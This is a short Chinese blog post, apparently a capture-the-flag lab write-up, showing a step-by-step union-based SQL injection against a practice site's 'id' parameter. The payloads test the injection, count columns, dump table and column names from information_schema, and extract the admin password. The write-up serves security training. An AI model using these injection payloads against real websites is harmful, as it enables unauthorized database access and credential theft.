封神台第一章：为了女神小芳

原创

Hummer-200 于 2021-12-22 10:56:16 发布 67 收藏

分类专栏： 渗透测试实验 文章标签： 渗透测试

本文链接：https://blog.csdn.net/qq_51459600/article/details/122080317

渗透测试实验 专栏收录该内容

15 篇文章 0 订阅

订阅专栏

实验平台：封神台-掌控安全在线演练靶场

第一章：为了女神小芳!

传送门：http://rhiq8003.ia.aqlab.cn/

实验目标：获取admin的密码

点击查看新闻1，跳转到`http://rhiq8003.ia.aqlab.cn/?id=1`

发现传递的参数名为id

判断有无注入点

`http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2`

未显示出新闻内容，说明存在注入点

判断查询字段数

`http://rhiq8003.ia.aqlab.cn/?id=1 order by 2`

显示新闻内容

`http://rhiq8003.ia.aqlab.cn/?id=1 order by 3`

未显示新闻内容

说明共有两个查询字段

查看显示位置

将id值设置为不存在的数，利用union查询

`http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1, 2`

可以看到有一个回显的位置

查看数据库名，版本，用户名

`http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,database()`


```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,version()
```


```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,user()
```

爆数据库表名

```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
```

爆admin表中的字段名

```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
```

查詢admin表中的username，password

```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,group_concat(username) from admin
```


```
http://rhiq8003.ia.aqlab.cn/?id=60000 union select 1,group_concat(password) from admin
```

可以看到用户admin的密码为hellohack

提交flag结束此题